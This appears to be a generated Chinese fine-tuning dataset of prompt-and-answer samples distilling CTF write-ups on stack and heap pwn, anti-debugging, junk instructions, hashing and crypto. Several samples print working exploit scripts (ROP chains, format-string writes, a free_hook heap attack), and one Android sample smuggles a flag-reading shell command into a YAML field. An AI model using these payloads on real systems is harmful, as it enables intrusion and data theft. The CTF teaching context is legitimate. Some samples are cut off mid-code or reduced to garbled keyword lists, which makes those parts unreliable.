[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《2025强网杯 Qclac》中“思路”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《2025强网杯 Qclac》的“思路”。
语言/类型：yaml
关联知识点：
- 将 flag 写入到可控的 history.yaml 然后再读取出来。
- 构造出的 yaml 文件如下：
- 综上，利用链可总结为：
- 传入intent scheme 到 fallback 中
- 触发除 0 异常调用`BridgeActivity`获取`history.yml`读写权限，并启动fallback intent（由于这个是我们自己传入的，所以我们可以再次启动我们自己的Activity）
代码片段：
```yaml
"!!com.qinquang.calc.PingUtil "8.8.8.8; FLAG=(cat /data/data/com.qinquang.calc/flag-*.txt); echo --nflag:FLAG\n..." > /data/data/com.qinquang.calc/files/history.yml"
```

2025强网杯 Qclac


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“[SUCTF 2018 招新赛]hash”？请用《Hash 类算法》中的内容回答。

[Assistant]
1. ida 反编译分析。看到了主函数中的 flag 前缀，下面使用 findcrypt 分析算法。
2. 使用 findcrypt 后我们搜索到了程序中的 MD5 常量，可以判断程序使用的是 MD5 算法。
3. 结合上面信息分析程序代码逻辑。
4. 程序要求输入字符的前 6 个字符为`SUCTF{`，最后一个字符为`}`。`sub_4011A0`函数使用了 MD5 的常量，应该是加密函数。最后将结果存到`v18`，因为下面的代码疑似以两位十六进制打印了`v18`变量，这可能是存在函数返回值的变量。
5. 下面有一个用于判断的 MD5 值，与其判断的`Buffer`在与其判断之前。将符合`i&1==0`条件的字符跟 1 进行了异或，`i&1`即结果是偶数位的字符，所以我们爆破它之前需要跟 1 再次进行异或。
6. 然后我们可以先在 md5 查询网站查询。

Hash 类算法


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 请将《反调试》蒸馏成模型训练用的知识卡片，要求覆盖主题、知识结构、关键术语和核心要点。

[Assistant]
主题：反调试
领域标签：pwn, reverse, web, ctf-method
知识结构：简介 -> API 实现 -> IsDebuggerPresent -> CheckRemoteDebuggerPresent -> NtQueryInformationProcess -> OutputDebugString -> ProcessHeap -> NtGlobalFlag -> SEH -> TLS 回调函数 -> Linux实现 -> 利用 session id
关键术语：TLS、include、API、BOOL、printf、debugger、ULONG、BeingDebugged、status、SEH、PVOID、HANDLE、IsDebuggerPresent、- 实现、NtQueryInformationProcess、else
核心要点：
- 反调试技术，可执行程序用它来识别自身是否被调试，或者让调试器失效。在 CTF 中通常很少单独以反调试作为考点来出题，通常都是和算法混淆结合起来。
- 使用 Windows API 函数检测调试器是否存在是最简单的反调试技术。Windows 操作系统中提供了这样一些 API，应用程序可以通过调用这些 API，来检测自己是否正在被调试。这些 API 中有些是专门用来检测调试器的存在的，而另外一些 API 是出于其他目的而设计的，但也可以被改造用来探测调试器的存在。
- `IsDebuggerPresent`函数通过检查进程的 PEB 结构中的`BeingDebugged`字段来判断进程是否被调试。如果进程正在被调试，`BeingDebugged`字段会被设置为 1，函数返回非零值（通常为 1）。如果没有被调试，`BeingDebugged`字段为 0，函数返回 0。
- PEB结构（部分）
- 在代码中编写一个函数调用`IsDebuggerPresent`判断进程是否调试。
- `CheckRemoteDebuggerPresent`函数跟`IsDebuggerPresent`差不多。不同的是它不仅可以探测系统其他进程是否被调试，通过传递自身进程句柄还可以探测自身是否被调试。
- 如果`hProcess`句柄表示的进程处于调试上下文，则`pbDebuggerPresent`被置为`True`，否则被置为`False`。
- dll`中一个 API，它用来提取一个给定进程的信息。
- `OutputDebugString`是 Windows API 中用于向调试器输出调试信息的函数。它的行为可以被利用来检测程序是否正在被调试。
- 当进程在调试器下运行时，Windows 会对进程堆内存进行特殊处理，所以可以通过检查堆的`pFlags`和`pForceFlags`字段来实现反调试。

反调试


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“dbg()”？请用《Pwn：Stack》中的内容回答。

[Assistant]
1. pay=b'a'*0x48+p64(pop_rdi_ret)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(gift)
2. leak=l64()
3. lg('puts_leak', leak)
4. libc.address = leak - 0x84420
5. lg('libc_base', libc.address)
6. sh = libc.search(b'/bin/sh\x00').__next__()

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“分析”？请用《花指令：原理：反汇编算法的设计缺陷》中的内容回答。

[Assistant]
1. 这里我们先运行一下程序，发现程序只是用于输出`hello world!`。
2. 通过汇编代码逻辑分析我们发现`jmp`指令跳转到了`loc_1151`标签的后一字节处即`0x1152`。
3. 我们首先通过快捷键`u`将`loc_1151`标签处的汇编指令解释为机器码。
4. 然后先将`0x1152`后面的汇编指令解释为机器码，之后在`0x1152`处按快捷键`c`将其解释为汇编代码。
5. 可以看到现在的汇编代码符合程序功能，我们通过此判断`0xebh`到`0x48h`都是花指令。
6. 我们重新将他们通过快捷键`u`解释为机器码，然后在`0x48h`的下面即`0x1154`处按快捷键`c`将它们解释为汇编代码。

花指令：原理：反汇编算法的设计缺陷


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“jarvisojtellmesomething”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pwn：Stack / jarvisojtellmesomething
关键词：result、RELRO、PIE、BYREF、NX、2. 分析

分析主函数

程序调用read可以向栈上输入、字节大小的数据，判断存在栈溢出。、函数表中发现函数、，函数打开了、文件并将其读入到了局部变量中，并且将内容一个字节一个字节的输出到标准输出。
蒸馏要点：
- 只有`NX`保护。
- 程序调用read可以向栈上输入`0x100`字节大小的数据，判断存在栈溢出。
- 函数表中发现函数`good_game`，函数打开了`flag.txt`文件并将其读入到了局部变量中，并且将内容一个字节一个字节的输出到标准输出。
- 我们通过栈溢出让程序返回到`good_game`函数即可输出`flag`。
可用于训练的标准回答：
### jarvisojtellmesomething

1. 查保护

只有`NX`保护。

```shell
➜  11-01 checksec ./guestbook
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

2. 分析

分析主函数

程序调用read可以向栈上输入`0x100`字节大小的数据，判断存在栈溢出。

```c
int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+0h] [rbp-88h] BYREF

  write(1, "Input your message:\n", 0x14uLL);
  read(0, &v4, 0x100uLL);
  return write(1, "I have received your message, Thank you!\n", 0x29uLL);
}
```

函数表中发现函数`good_game`，函数打开了`flag.txt`文件并将其读入到了局部变量中，并且将内容一个字节一个字节的输出到标准输出。

```c
int good_game()
{
  FILE *v0; // rbx
  int result; // eax
  char buf[9]; // [rsp+Fh] [rbp-9h] BYREF

  v0 = fopen("flag.txt", "r");
  while ( 1 )
  {
    result = fgetc(v0);
    buf[0] = result;
    if ( result == 0xFF )
      break;
    write(1, buf, 1uLL);
  }...

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“[HZNUCTF 2023 preliminary]ffmt”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“[HZNUCTF 2023 preliminary]ffmt”。
语言/类型：python
关联知识点：
- 第一个格式化字符串漏洞用来泄露栈地址，第二个格式化字符串函数修改返回地址最后一字节为 0x23 令其跳转到后门函数执行
代码片段：
```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

sa(b'name: \n', b'%6$p')
ru(b'0x')

stack = int(r(12), 16)
ret = stack - 0x108
r()
s(b'%35c%8$hhnaaaaaa' + p64(ret))

ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Hash 类算法》的“[SUCTF 2018 招新赛]hash”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Hash 类算法 / [SUCTF 2018 招新赛]hash
关键词：md5、v18、MD5、SUCTF、result、sub_4011A0、Buffer、SUCTF{、i&1==0、i&1
蒸馏要点：
- ida 反编译分析。看到了主函数中的 flag 前缀，下面使用 findcrypt 分析算法。
- 使用 findcrypt 后我们搜索到了程序中的 MD5 常量，可以判断程序使用的是 MD5 算法。
- 结合上面信息分析程序代码逻辑。
- 程序要求输入字符的前 6 个字符为`SUCTF{`，最后一个字符为`}`。`sub_4011A0`函数使用了 MD5 的常量，应该是加密函数。最后将结果存到`v18`，因为下面的代码疑似以两位十六进制打印了`v18`变量，这可能是存在函数返回值的变量。
- 下面有一个用于判断的 MD5 值，与其判断的`Buffer`在与其判断之前。将符合`i&1==0`条件的字符跟 1 进行了异或，`i&1`即结果是偶数位的字符，所以我们爆破它之前需要跟 1 再次进行异或。
- 然后我们可以先在 md5 查询网站查询。
- 查询结果为：`birthday`。
可用于训练的标准回答：
### [SUCTF 2018 招新赛]hash

- 分析

ida 反编译分析。看到了主函数中的 flag 前缀，下面使用 findcrypt 分析算法。

使用 findcrypt 后我们搜索到了程序中的 MD5 常量，可以判断程序使用的是 MD5 算法。

结合上面信息分析程序代码逻辑。

程序要求输入字符的前 6 个字符为`SUCTF{`，最后一个字符为`}`。`sub_4011A0`函数使用了 MD5 的常量，应该是加密函数。最后将结果存到`v18`，因为下面的代码疑似以两位十六进制打印了`v18`变量，这可能是存在函数返回值的变量。

下面有一个用于判断的 MD5 值，与其判断的`Buffer`在与其判断之前。将符合`i&1==0`条件的字符跟 1 进行了异或，`i&1`即结果是偶数位的字符，所以我们爆破它之前需要跟 1 再次进行异或。

写出逆向脚本：

```python
md5="bf772f6ed89838b9gb9f7abf3cc09413"
md5=list(md5)
for i in range(len(md5)):
	if i&1 == 0:
		md5[i]=chr(ord(md5[i])^1)
result="".join(md5)
print(result)
#cf673f7ee88828c9fb8f6acf2cb08403
```

然后我们可以先在 md5 查询网站查询。

查询结果为：`birthday`。

接下来我们继续逆向剩下的代码程序。

将加密后的`buffer`与 md5 密文进行比较，如果相等则执行第二个`if`语句部分的代码。

下面我们跟进分析`sub_401A90`函数。

分析函数代码，首先将取输入的长度。然后以输入长度为界限进行迭代处理。将每个字符根据下标进行`i*2+1`偏移。`i`就是字符串的下标。

根据代码逻辑，对比较的字符串进行逆向处理。

```python
enc="`ut9t;"
result=""
for i in range(len(enc)):
	n=i*2+1
	result+=c...

Hash 类算法


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“脚本”？请用《AES》中的内容回答。

[Assistant]
1. def _16bytes2num(cls, _16bytes):
2. return int.from_bytes(_16bytes, byteorder='big')
3. def num_2_16bytes(cls, num):
4. return num.to_bytes(16, byteorder='big')
5. def aes_encrypt(self, plaintext_list, RoundKeys):
6. State = plaintext_list

AES


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《花指令：原理：反汇编算法的设计缺陷》的“实现”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：花指令：原理：反汇编算法的设计缺陷 / 实现
关键词：ebx、rbx、- **gcc 编译器实现**、很明显，先对、进行、之后，再进行、比较，、标志位肯定为1，就肯定执行跳转 s1，也就是说中间、永远不会执行。

不过这种一定要注意：记着保存、的值先把
蒸馏要点：
- **msvc 编译器实现**
- **gcc 编译器实现**
- 很明显，先对`ebx`进行`xor`之后，再进行`test`比较，`zf`标志位肯定为1，就肯定执行跳转 s1，也就是说中间`0xC7`永远不会执行。
- 不过这种一定要注意：记着保存`ebx`的值先把`ebx`压栈，最后在`pop`出来。
- 解混淆的时候也需要稍加注意，需要分析一下哪里是哪里是真正会跳到的位置，然后将垃圾数据`nop`掉，本质上和前面几种没什么不同。
可用于训练的标准回答：
#### 实现

- **msvc 编译器实现**

```c
#include
int main(){
	__asm{
		push ebx;
		xor ebx,ebx;
		test ebx,ebx;
		jnz s1:
		jz  s2:
	s1
		_emit 0xe9;
	s2:
		pop ebx;
	}
	printf("hello world!\n");
	return 0;
}
```

- **gcc 编译器实现**

```c
#include

int main() {
    printf("Before jump and emit instructions\n");

    // 插入花指令
    __asm__ __volatile__ (
        "pushq %rbx\n\t"        // 跳转指令
        "xor %rbx,%rbx\n\t"       // 跳转指令
        "test %rbx,%rbx\n\t"   // 插入字节0xC7
        "jz s1\n\t"
        "jnz s2\n\t"
        "s1:\n\t"
        ".byte 0xc7\n\t"
        "s2:\n\t"
        "popq %rbx\n\t"
    );

    printf("hello world!\n");
    return 0;
}

```

很明显，先对`ebx`进行`xor`之后，再进行`test`比较，`zf`标志位肯定为1，就肯定执行跳转 s1，也就是说中间`0xC7`永远不会执行。

不过这种一定要注意：记着保存`ebx`的值先把`ebx`压栈，最后在`pop`出来。

解混淆的时候也需要稍加注意，需要分析一下哪里是哪里是真正会跳到的位置，然后将垃圾数据`nop`掉，本质上和前面几种没什么不同。

花指令：原理：反汇编算法的设计缺陷


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“[[NISACTF 2022]UAF]”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“[[NISACTF 2022]UAF]”。
语言/类型：shell
关联知识点：
- [[NISACTF 2022]UAF]
- 题型：存在函数指针
- 发现为32位程序，并且没有`PIE`保护。
- 分析`main`函数
- 分析主函数发现为经典菜单程序，通过选择执行相应的功能函数。
代码片段：
```shell
➜  [NISACTF 2022]UAF checksec ./pwn
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“计算相对偏移”？请用《Pwn：Stack》中的内容回答。

[Assistant]
1. relative_offset = target_address - current_address  # 减去 jmp 指令的字节数
2. print(f"Relative offset: {relative_offset:#x}")  # 打印相对偏移
3. shellcode = asm(f"""
4. jmp $+{relative_offset}
5. print(f"Shellcode length: {len(shellcode)}")
6. payload = shellcode

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《2025强网杯 Qclac》的“processDeeplinkExpression”部分，提炼一条适合 SFT 的中文技术讲解样本（第 6 段）。

[Assistant]
出处：2025强网杯 Qclac / processDeeplinkExpression（第 6 段）
关键词：input、view、View、button、String、tag、public、Button、operator、handleIntent 会判断 Action 并取出其中的
蒸馏要点：
- 数字按钮点击事件。
- 把按下的数字追加到当前输入字符串。
- public void onDigit(View view) {
- Button button = (Button) view;
- this.input += button.getText().toString(); // 累积数字
- this.tvInput.setText(this.input);          // 更新显示
- 运算符按钮点击事件。
可用于训练的标准回答：
/**
     * 数字按钮点击事件。
     * 把按下的数字追加到当前输入字符串。
     */
    public void onDigit(View view) {
        Button button = (Button) view;
        this.input += button.getText().toString(); // 累积数字
        this.tvInput.setText(this.input);          // 更新显示
    }

/**
     * 运算符按钮点击事件。
     * 保存当前输入为第一个操作数，并记录运算符。
     */
    public void onOperator(View view) {
        if (this.input.isEmpty()) {
            return;
        }
        Button button = (Button) view;
        this.firstNum = Double.parseDouble(this.input); // 保存输入数字
        String tag = (String) button.getTag();          // 按钮可能通过 tag 指定运算符
        if (tag != null && !tag.isEmpty()) {
            this.operator = tag;
        } else {
            this.operator = button.getText().toString();
        }
        this.input = ""; // 清空输入框准备接收第二个数字
    }

/**
     * “清空”按钮事件。
     * 重置所有状态。
     */
    public void onClear(View view) {...

2025强网杯 Qclac


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“[WUSTCTF 2020]getshell2”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pwn：Stack / [WUSTCTF 2020]getshell2
关键词：eip、p32、system、p32(system_plt) + p32(0) + p32(str_binsh)、p32(call_system) + p32(str_sh)、python
p32(system_plt) + p32(0) + p32(str_binsh)、当使用、指令时，、指令本身会自动将当前的eip压栈。所以我们可以直接跟参数，而不需要手动压入一个返回地址、python
p32(call system)+p32(str_binsh)
蒸馏要点：
- `p32(system_plt) + p32(0) + p32(str_binsh)` 可以替换成 `p32(call_system) + p32(str_sh) `
- `eip`寄存器指向当前正在执行的指令。当我们调用一个函数时，当前的 `eip` 值会被压栈，这样在函数执行完毕后，程序可以通过弹出栈顶的 `eip` 值继续执行之前的指令。
- 由于我们手动调用 `system` ，我们是没有将返回地址压栈的，栈中是没有返回地址的，会导致栈错误
- 当使用`call system`指令时，`call`指令本身会自动将当前的eip压栈。所以我们可以直接跟参数，而不需要手动压入一个返回地址
- 在 linux 中，/bin/sh 是二进制文件，而 sh 是环境变量，相当于执行 /bin/sh
可用于训练的标准回答：
### [WUSTCTF 2020]getshell2

#sh #callsystem

`p32(system_plt) + p32(0) + p32(str_binsh)` 可以替换成 `p32(call_system) + p32(str_sh) `

原理

`eip`寄存器指向当前正在执行的指令。当我们调用一个函数时，当前的 `eip` 值会被压栈，这样在函数执行完毕后，程序可以通过弹出栈顶的 `eip` 值继续执行之前的指令。

由于我们手动调用 `system` ，我们是没有将返回地址压栈的，栈中是没有返回地址的，会导致栈错误
```python
p32(system_plt) + p32(0) + p32(str_binsh)
```

当使用`call system`指令时，`call`指令本身会自动将当前的eip压栈。所以我们可以直接跟参数，而不需要手动压入一个返回地址
```python
p32(call system)+p32(str_binsh)
```

在 linux 中，/bin/sh 是二进制文件，而 sh 是环境变量，相当于执行 /bin/sh

- **exp**

```python
from pwn import *

io=process("./service")
#io=remote("node5.anna.nssctf.cn",25392)
context(log_level="debug",arch="i386")
offset=28

sh=0x08048670
system=0x08048529
payload=b'a'*offset+p32(system)+p32(sh)

io.send(payload)

io.interactive()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Angr：Angr符号执行》中“延迟求解”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Angr：Angr符号执行》的“延迟求解”。
语言/类型：python
关联知识点：
- angr 会判断路径条件是否满足，有时候这样很影响效率，我们可以设置 angr 使其找到 State 之后再进行求解
代码片段：
```python
state.options |= {angr.options.LAZY_SOLVES}
```

Angr：Angr符号执行


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“劫持stackchkfail函数”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“劫持stackchkfail函数”。
语言/类型：c
关联知识点：
- `canary`检测失败会调用`__stack_chk_fail`函数，可以通过比如格式化字符串漏洞修改 got 表中对应`__stack_chk_fail`的位置为后门函数的地址来实施攻击。
代码片段：
```c
#include
#include
#include
#include

void backdoor() {
    puts("this is a backdoor.");
    system("/bin/sh");
}

void vuln() {
    char buf[0x100];
    puts("please input:");
    read(0, buf, 0x110);
    printf(buf);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    vuln();
    return 0;
}
// 编译命令：gcc pwn.c -o pwn -no-pie -Wl,-z,lazy -g
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《SMC自修改代码》的“[FLAG_REDACTED]”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：SMC自修改代码 / [FLAG_REDACTED]
关键词：flag、encrypt、enc、key、0x0000000D、0x00000006、0x00000057、试了一下，这个 flag 是假的。

接下来继续逆向 SMC 部分。

可以看到程序对、函数进行了逐字节异或，解密、函数。

我们这里就使用静态解密法来编写 idapython 代码解密
蒸馏要点：
- import idc
- addr = 0x401500  # encrypt函数的地址
- for i in range(187):
- b = get_bytes(addr + i, 1)
- idc.patch_byte(addr + i, ord(b) ^ 0x41)
- key='hahahaha_do_you_find_me?'
- enc=[0x0000000E, 0x0000000D, 0x00000009, 0x00000006, 0x00000013, 0x00000005, 0x00000058, 0x00000056, 0x0000003E, 0x00000006, 0x0000000C, 0x0000003C, 0x000000...
可用于训练的标准回答：
# [FLAG_REDACTED]

```

试了一下，这个 flag 是假的。

接下来继续逆向 SMC 部分。

可以看到程序对`encrypt`函数进行了逐字节异或，解密`encrypt`函数。

我们这里就使用静态解密法来编写 idapython 代码解密`encrypt`函数。

- idapython解密脚本

根据解密`encrypt`函数逻辑编写 idapython 解密脚本。

```python
import idc
addr = 0x401500  # encrypt函数的地址
for i in range(187):
	#获取地址字节,1代表一个字节
    b = get_bytes(addr + i, 1)
    #修改地址内存的字节
    #第一个参数为指定地址，第二个参数为修改后的值
    idc.patch_byte(addr + i, ord(b) ^ 0x41)
```

然后运行 idapython脚本，这里前面讲过了。

接下来我们修复解密后的`encrypt`函数代码。

从函数开始处开始按快捷键`u`将所有指令设置为无定义。

然后在函数开头处按快捷键`c`将所有数据内容转换为代码。

最后在函数开始处按快捷键`p`定义为函数。

然后就可以`F5`反编译了。

继续分析代码逻辑，`encrypt`函数的参数是存储输入内容的变量。

`encrypt`函数将输入与`Buffer`变量存储的内容进行逐字节异或，如果最后的结果不等于密文则报错。

我们跟进查看`Buffer`变量的内容，可以看到是`wrong`函数中输出的字符串。

我们根据代码逻辑，将密文与`Buffer`变量进行逐字节异或运算后即可得出符合的输入。

根据逻辑编写解密代码。

- exp

```python
key='hahahaha_do_you_find_me?'
enc=[0x0000000E, 0x0000000D, 0x00000009, 0x00000006, 0x00000013, 0x00000005, 0x000000...

SMC自修改代码


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“算法逻辑”？请用《SM4 算法》中的内容回答。

[Assistant]
1. SM4 分组长度为 4 字，因此输入是 4 字的明文，加密后得到的输出是 4 字的密文。
2. SM4 是中国国家密码算法之一，广泛用于加密和数据保护。下面是一个简单的 C 语言实现，展示了 SM4 的加密部分。为了完整性，我们会使用 OpenSSL 提供的工具库来实现 SM4 加密。若没有 OpenSSL 环境，可以自己实现或通过其他库进行加密操作。
3. SM4 加密实现
4. 首先，你需要安装 OpenSSL 开发库，以便能够使用其中的加密功能。如果你没有安装 OpenSSL，可以通过包管理工具来安装它。
5. 下面是使用 OpenSSL 库进行 SM4 加密的代码：
6. 确保你安装了 OpenSSL。

SM4 算法


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“notthesame3dsctf2016”？请用《Pwn：Stack》中的内容回答。

[Assistant]
1. 程序为32位静态编译，没有栈溢出和pie保护
2. 程序中存在危险函数gets，并且text段存在mprotect函数
3. 我们可以通过执行mprotect函数修改内存权限
4. 再通过read函数将shellcode读入内存
5. 之后通过栈溢出返回地址执行shellcode

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“ezheap”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pwn：Stack / ezheap
关键词：add、sendlineafter、str、0x500、menu、delete、libcbase、libc、def、idx
蒸馏要点：
- libc2.31,保护全开，没有UAF也没有off-by-one/null，但是注意到edit函数很特别，可以任意地址写入 666666 这个数字
- 第一个思路显然是修改sizelist，但是想起来就算修改了size也不能edit来布置堆，同时这个开启了pie更不行。libcbase和heapbase还是很好泄露的
- 这个任意地址写也不是任意值，而是666666这个数字，于是想到了mp_结构体，这样可以扩展tcache，然后通过delete(0)然后再add就可以编辑tcache，这时候就可以写入free_hook，然后打free_hook来getshell
可用于训练的标准回答：
### ezheap

- libc2.31,保护全开，没有UAF也没有off-by-one/null，但是注意到edit函数很特别，可以任意地址写入 666666 这个数字

- 第一个思路显然是修改sizelist，但是想起来就算修改了size也不能edit来布置堆，同时这个开启了pie更不行。libcbase和heapbase还是很好泄露的

- 这个任意地址写也不是任意值，而是666666这个数字，于是想到了mp_结构体，这样可以扩展tcache，然后通过delete(0)然后再add就可以编辑tcache，这时候就可以写入free_hook，然后打free_hook来getshell

```python
from pwn import *

io = process("./pwn")
elf = ELF("./pwn")
libc=elf.libc

menu="Input your choice"
def add(size,cont):
    io.sendlineafter(menu,str(1))
    io.sendlineafter("Size :",str(size))
    io.sendafter("Content :",cont)

def delete(idx):
    io.sendlineafter(menu,str(2))
    io.sendlineafter("Index :",str(idx))

def edit(addr):
    io.sendlineafter(menu,str(3))
    io.sendafter("content :",addr)

def show(idx):
    io.sendlineafter(menu,str(4))
    io.sendlineafter("Index :",str(idx))

add(0x500,b'a')
add(0x500,b'/bin/sh\x00')
add(0x500,b'a')
add(0x500,b'a')
add(0x100,b'a...

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“giaopwn”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pwn：Stack / giaopwn
关键词：system、buf、pop_rdi、ret、vuln、read、rbp、rdi、p64、cat flag
蒸馏要点：
- 64位无脑栈溢出，通过`vuln`中的`read`函数向`buf`中写入大量数据，超出`buf`变量的长度导致`rbp`和返回地址被覆盖。
- 通过栈溢出漏洞劫持执行流，通过`pop_rdi`将`cat flag`字符串弹入`rdi`寄存器作为`system`参数，然后返回执行`system`函数。
- 加的`ret`指令是为了栈平衡。
可用于训练的标准回答：
### giaopwn

64位无脑栈溢出，通过`vuln`中的`read`函数向`buf`中写入大量数据，超出`buf`变量的长度导致`rbp`和返回地址被覆盖。

通过栈溢出漏洞劫持执行流，通过`pop_rdi`将`cat flag`字符串弹入`rdi`寄存器作为`system`参数，然后返回执行`system`函数。

加的`ret`指令是为了栈平衡。

- exp

```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

r()
pop_rdi=0x0000000000400743
ret=0x00000000004004fe
system=0x4006D2
cat_flag=0x601048
payload=b'\x00'*40+p64(pop_rdi)+p64(cat_flag)+p64(ret)+p64(system)
s(payload)

ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《反调试》中“ProcessHeap”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《反调试》的“ProcessHeap”。
语言/类型：cpp
关联知识点：
- 当进程在调试器下运行时，Windows 会对进程堆内存进行特殊处理，所以可以通过检查堆的`pFlags`和`pForceFlags`字段来实现反调试。
代码片段：
```cpp
#include
#include

BOOL IsHeapDebugged() {
    HANDLE hHeap = GetProcessHeap();
    if (!hHeap) {
        return FALSE;
    }

    ULONG Flags = *(ULONG*)((BYTE*)hHeap + 0x40);      // Flags 偏移量可能因系统版本变化
    ULONG ForceFlags = *(ULONG*)((BYTE*)hHeap + 0x44); // ForceFlags 偏移量

    if (Flags != 0x2 || ForceFlags != 0) {
        return TRUE;
    }
    return FALSE;
}

int main() {
    if (IsHeapDebugged()) {
        printf("debugger\n");
    } else {
        printf("no debugger\n");
    }

    system("pause");
    return 0;
}
```

反调试


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“giaopwn”？请用《Pwn：Stack》中的内容回答。

[Assistant]
1. 64位无脑栈溢出，通过`vuln`中的`read`函数向`buf`中写入大量数据，超出`buf`变量的长度导致`rbp`和返回地址被覆盖。
2. 通过栈溢出漏洞劫持执行流，通过`pop_rdi`将`cat flag`字符串弹入`rdi`寄存器作为`system`参数，然后返回执行`system`函数。
3. 加的`ret`指令是为了栈平衡。

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“ciscn2019ne5”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“ciscn2019ne5”。
关联知识点：
- 发现程序为32位程序，没有`canary`和`pie`保护。
- 由于程序将一个长字符串复制到一个短的字符数组中，所以产生了栈溢出
- 并且程序中存在`system`函数和`sh`字符串
- 可以通过ret2text进行利用
代码片段：
```
Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
